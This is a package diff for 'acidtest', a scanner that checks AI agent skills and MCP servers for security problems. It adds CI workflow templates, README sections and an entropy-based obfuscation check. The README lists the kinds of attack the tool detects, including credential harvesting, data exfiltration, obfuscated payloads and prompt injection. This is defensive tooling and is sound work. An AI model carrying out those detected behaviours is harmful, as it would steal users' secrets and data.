acidtest 0.3.0 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,156 @@
1
+ # Example GitHub Actions workflow for AcidTest
2
+ # This file demonstrates how to use AcidTest in CI/CD pipelines
3
+ # Copy and adapt this to your skill/MCP server repository
4
+
5
+ name: AcidTest Security Scan
6
+
7
+ on:
8
+ pull_request:
9
+ paths:
10
+ - '**.ts'
11
+ - '**.js'
12
+ - '**/SKILL.md'
13
+ - '**/mcp.json'
14
+ - '**/server.json'
15
+ push:
16
+ branches: [main]
17
+
18
+ jobs:
19
+ # Example 1: Simple scan
20
+ scan-simple:
21
+ name: Simple Security Scan
22
+ runs-on: ubuntu-latest
23
+ steps:
24
+ - uses: actions/checkout@v4
25
+
26
+ - name: Run AcidTest
27
+ run: npx acidtest@latest scan .
28
+
29
+ # Example 2: Scan with failure threshold
30
+ scan-with-threshold:
31
+ name: Scan with Threshold
32
+ runs-on: ubuntu-latest
33
+ steps:
34
+ - uses: actions/checkout@v4
35
+
36
+ - name: Run AcidTest
37
+ id: acidtest
38
+ run: |
39
+ # Run scan and capture output
40
+ npx acidtest@latest scan . --json > scan-results.json
41
+
42
+ # Parse results
43
+ SCORE=$(jq -r '.score' scan-results.json)
44
+ STATUS=$(jq -r '.status' scan-results.json)
45
+
46
+ echo "score=$SCORE" >> $GITHUB_OUTPUT
47
+ echo "status=$STATUS" >> $GITHUB_OUTPUT
48
+
49
+ # Display results
50
+ cat scan-results.json | jq '.'
51
+
52
+ # Fail if status is FAIL or DANGER
53
+ if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
54
+ echo "❌ Security scan failed with status: $STATUS (score: $SCORE)"
55
+ exit 1
56
+ elif [ "$STATUS" = "WARN" ]; then
57
+ echo "⚠️ Security scan warning: $STATUS (score: $SCORE)"
58
+ echo "Review findings before merging"
59
+ else
60
+ echo "✅ Security scan passed: $STATUS (score: $SCORE)"
61
+ fi
62
+
63
+ - name: Upload scan results
64
+ if: always()
65
+ uses: actions/upload-artifact@v4
66
+ with:
67
+ name: acidtest-results
68
+ path: scan-results.json
69
+
70
+ # Example 3: Scan all skills in directory
71
+ scan-all:
72
+ name: Scan All Skills
73
+ runs-on: ubuntu-latest
74
+ steps:
75
+ - uses: actions/checkout@v4
76
+
77
+ - name: Run AcidTest on all skills
78
+ run: |
79
+ npx acidtest@latest scan-all ./skills --json > results.json
80
+
81
+ # Check if any skill failed
82
+ FAILURES=$(jq '[.[] | select(.status == "FAIL" or .status == "DANGER")] | length' results.json)
83
+
84
+ if [ "$FAILURES" -gt 0 ]; then
85
+ echo "❌ $FAILURES skill(s) failed security scan"
86
+ jq -r '.[] | select(.status == "FAIL" or .status == "DANGER") | " - \(.skill.name): \(.status) (score: \(.score))"' results.json
87
+ exit 1
88
+ else
89
+ echo "✅ All skills passed security scan"
90
+ fi
91
+
92
+ # Example 4: Comment results on PR (requires GITHUB_TOKEN with write permissions)
93
+ scan-and-comment:
94
+ name: Scan and Comment
95
+ runs-on: ubuntu-latest
96
+ if: github.event_name == 'pull_request'
97
+ permissions:
98
+ pull-requests: write
99
+ contents: read
100
+ steps:
101
+ - uses: actions/checkout@v4
102
+
103
+ - name: Run AcidTest
104
+ id: scan
105
+ run: |
106
+ npx acidtest@latest scan . --json > scan-results.json
107
+
108
+ SCORE=$(jq -r '.score' scan-results.json)
109
+ STATUS=$(jq -r '.status' scan-results.json)
110
+ RECOMMENDATION=$(jq -r '.recommendation' scan-results.json)
111
+
112
+ echo "score=$SCORE" >> $GITHUB_OUTPUT
113
+ echo "status=$STATUS" >> $GITHUB_OUTPUT
114
+
115
+ # Create markdown comment
116
+ cat > comment.md << 'EOF'
117
+ ## 🛡️ AcidTest Security Scan
118
+
119
+ **Score:** $SCORE/100
120
+ **Status:** $STATUS
121
+
122
+ **Recommendation:** $RECOMMENDATION
123
+
124
+ <details>
125
+ <summary>View full results</summary>
126
+
127
+ ```json
128
+ EOF
129
+
130
+ cat scan-results.json | jq '.' >> comment.md
131
+
132
+ cat >> comment.md << 'EOF'
133
+ ```
134
+
135
+ </details>
136
+ EOF
137
+
138
+ - name: Comment PR
139
+ uses: actions/github-script@v7
140
+ with:
141
+ script: |
142
+ const fs = require('fs');
143
+ const comment = fs.readFileSync('comment.md', 'utf8');
144
+
145
+ github.rest.issues.createComment({
146
+ owner: context.repo.owner,
147
+ repo: context.repo.repo,
148
+ issue_number: context.issue.number,
149
+ body: comment
150
+ });
151
+
152
+ - name: Fail if dangerous
153
+ if: steps.scan.outputs.status == 'FAIL' || steps.scan.outputs.status == 'DANGER'
154
+ run: |
155
+ echo "❌ Security scan failed"
156
+ exit 1
@@ -0,0 +1,53 @@
1
+ # AcidTest GitHub Action Template
2
+ # Copy this file to your skill/MCP server repository as .github/workflows/acidtest.yml
3
+ # Automatically scans for security issues on every PR
4
+
5
+ name: Security Scan
6
+
7
+ on:
8
+ pull_request:
9
+ push:
10
+ branches: [main, master]
11
+
12
+ jobs:
13
+ acidtest:
14
+ name: AcidTest Security Scan
15
+ runs-on: ubuntu-latest
16
+
17
+ steps:
18
+ - name: Checkout code
19
+ uses: actions/checkout@v4
20
+
21
+ - name: Run AcidTest
22
+ run: |
23
+ # Install and run AcidTest
24
+ npx acidtest@latest scan . --json > results.json
25
+
26
+ # Parse results
27
+ SCORE=$(jq -r '.score' results.json)
28
+ STATUS=$(jq -r '.status' results.json)
29
+
30
+ echo "🛡️ AcidTest Results"
31
+ echo "Score: $SCORE/100"
32
+ echo "Status: $STATUS"
33
+ echo ""
34
+
35
+ # Display findings
36
+ jq -r '.findings[] | " [\(.severity)] \(.title)"' results.json || true
37
+
38
+ # Fail on FAIL or DANGER status
39
+ if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
40
+ echo ""
41
+ echo "❌ Security scan failed"
42
+ exit 1
43
+ fi
44
+
45
+ echo ""
46
+ echo "✅ Security scan passed"
47
+
48
+ - name: Upload results
49
+ if: always()
50
+ uses: actions/upload-artifact@v4
51
+ with:
52
+ name: acidtest-results
53
+ path: results.json
package/README.md CHANGED
@@ -26,7 +26,7 @@ No API keys. No configuration. No Python.
26
26
 
27
27
  ## Example Output
28
28
  ```
29
- AcidTest v0.3.0
29
+ AcidTest v0.5.0
30
30
 
31
31
  Scanning: proactive-agent
32
32
  Source: test-skills/proactive-agent-1-2-4-1
@@ -62,7 +62,7 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
62
62
  - Credential harvesting
63
63
  - Permission mismatches
64
64
  - Data exfiltration patterns
65
- - Obfuscated payloads
65
+ - Obfuscated payloads (regex + entropy analysis)
66
66
 
67
67
  **For MCP Servers:**
68
68
  - Dangerous command execution
@@ -76,9 +76,14 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
76
76
  AcidTest runs four analysis layers:
77
77
  1. **Permission Audit**: Analyzes declared permissions (bins, env, tools)
78
78
  2. **Prompt Injection Scan**: Detects instruction override attempts (AgentSkills)
79
- 3. **Code Analysis**: AST-based analysis of JavaScript/TypeScript files
79
+ 3. **Code Analysis**: AST-based analysis + Shannon entropy detection for obfuscation
80
80
  4. **Cross-Reference**: Catches code behavior not matching declared permissions
81
81
 
82
+ **Advanced Features:**
83
+ - Entropy analysis detects base64/hex encoding and obfuscated strings
84
+ - Pattern-based detection with 48 security patterns
85
+ - CI/CD integration via GitHub Actions and pre-commit hooks
86
+
82
87
  Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
83
88
 
84
89
  ## Install
@@ -164,6 +169,54 @@ User: "Can you scan this MCP server before I install it?"
164
169
  Claude: [Uses acidtest scan_skill tool to analyze the server]
165
170
  ```
166
171
 
172
+ ### Use in CI/CD
173
+
174
+ Automate security scanning in your GitHub Actions workflows.
175
+
176
+ #### Quick Setup
177
+
178
+ Copy this workflow to `.github/workflows/acidtest.yml` in your skill repository:
179
+
180
+ ```yaml
181
+ name: Security Scan
182
+
183
+ on: [pull_request, push]
184
+
185
+ jobs:
186
+ acidtest:
187
+ runs-on: ubuntu-latest
188
+ steps:
189
+ - uses: actions/checkout@v4
190
+ - run: npx acidtest@latest scan . --json > results.json
191
+ - run: |
192
+ STATUS=$(jq -r '.status' results.json)
193
+ if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
194
+ echo "❌ Security scan failed"
195
+ exit 1
196
+ fi
197
+ ```
198
+
199
+ See [`.github/workflows/acidtest-template.yml`](.github/workflows/acidtest-template.yml) for a production-ready template, or [`.github/workflows/acidtest-example.yml`](.github/workflows/acidtest-example.yml) for advanced examples including:
200
+ - Failure thresholds
201
+ - Bulk scanning
202
+ - PR comments
203
+ - Artifact uploads
204
+
205
+ #### Pre-Commit Hook
206
+
207
+ Catch issues before committing:
208
+
209
+ ```bash
210
+ # Install pre-commit hook
211
+ curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit
212
+ chmod +x .git/hooks/pre-commit
213
+
214
+ # Now every commit runs AcidTest automatically
215
+ git commit -m "Add new feature" # Scans before committing
216
+ ```
217
+
218
+ See [`hooks/README.md`](hooks/README.md) for installation options and configuration.
219
+
167
220
  ## Scoring
168
221
 
169
222
  Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.
package/dist/index.js CHANGED
@@ -8,7 +8,7 @@ import { reportToTerminal, reportAsJSON } from "./reporter.js";
8
8
  import { join, dirname } from "path";
9
9
  import { fileURLToPath } from "url";
10
10
  import { spawn } from "child_process";
11
- const VERSION = "0.3.0";
11
+ const VERSION = "0.5.0";
12
12
  /**
13
13
  * Main CLI function
14
14
  */
@@ -95,6 +95,9 @@ function scanCodeWithAST(codeFile) {
95
95
  // Check for suspicious patterns
96
96
  const suspiciousFindings = detectSuspiciousPatterns(sourceFile, relativePath);
97
97
  findings.push(...suspiciousFindings);
98
+ // Entropy-based obfuscation detection
99
+ const entropyFindings = detectHighEntropyStrings(sourceFile, relativePath);
100
+ findings.push(...entropyFindings);
98
101
  }
99
102
  catch (error) {
100
103
  // If parsing fails, the code might be malformed or obfuscated
@@ -182,6 +185,77 @@ function detectSuspiciousPatterns(sourceFile, filePath) {
182
185
  }
183
186
  return findings;
184
187
  }
188
+ /**
189
+ * Calculate Shannon entropy of a string
190
+ * Returns a value between 0 (no randomness) and ~8 (maximum randomness for byte strings)
191
+ */
192
+ function calculateEntropy(str) {
193
+ if (str.length === 0)
194
+ return 0;
195
+ // Count character frequencies
196
+ const freq = new Map();
197
+ for (const char of str) {
198
+ freq.set(char, (freq.get(char) || 0) + 1);
199
+ }
200
+ // Calculate entropy using Shannon formula: -Σ(p * log2(p))
201
+ let entropy = 0;
202
+ const length = str.length;
203
+ for (const count of freq.values()) {
204
+ const probability = count / length;
205
+ entropy -= probability * Math.log2(probability);
206
+ }
207
+ return entropy;
208
+ }
209
+ /**
210
+ * Detect high-entropy strings that may indicate obfuscation
211
+ */
212
+ function detectHighEntropyStrings(sourceFile, filePath) {
213
+ const findings = [];
214
+ const ENTROPY_THRESHOLD = 4.5; // Strings above this are suspicious
215
+ const MIN_LENGTH = 20; // Only check strings longer than this
216
+ const highEntropyStrings = [];
217
+ function visit(node) {
218
+ // Check string literals and template literals
219
+ if (ts.isStringLiteral(node) || ts.isNoSubstitutionTemplateLiteral(node)) {
220
+ const text = node.text;
221
+ // Skip short strings and URLs (already detected elsewhere)
222
+ if (text.length < MIN_LENGTH) {
223
+ ts.forEachChild(node, visit);
224
+ return;
225
+ }
226
+ // Skip URLs, they naturally have high entropy
227
+ if (/^https?:\/\//.test(text)) {
228
+ ts.forEachChild(node, visit);
229
+ return;
230
+ }
231
+ const entropy = calculateEntropy(text);
232
+ if (entropy > ENTROPY_THRESHOLD) {
233
+ const lineNumber = sourceFile.getLineAndCharacterOfPosition(node.getStart()).line + 1;
234
+ highEntropyStrings.push({
235
+ text: text.substring(0, 50) + (text.length > 50 ? '...' : ''),
236
+ entropy: Math.round(entropy * 100) / 100,
237
+ line: lineNumber
238
+ });
239
+ }
240
+ }
241
+ ts.forEachChild(node, visit);
242
+ }
243
+ visit(sourceFile);
244
+ // Only create a finding if we found high-entropy strings
245
+ if (highEntropyStrings.length > 0) {
246
+ const first = highEntropyStrings[0];
247
+ findings.push({
248
+ severity: 'MEDIUM',
249
+ category: 'obfuscation',
250
+ title: 'High-entropy strings detected',
251
+ file: filePath,
252
+ line: first.line,
253
+ detail: `Found ${highEntropyStrings.length} string(s) with high entropy (>${ENTROPY_THRESHOLD})`,
254
+ evidence: `Entropy: ${first.entropy}, Example: "${first.text}"`
255
+ });
256
+ }
257
+ return findings;
258
+ }
185
259
  /**
186
260
  * Find line number for a match in text
187
261
  */
@@ -1 +1 @@
1
- {"version":3,"file":"code.js","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"code.js","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"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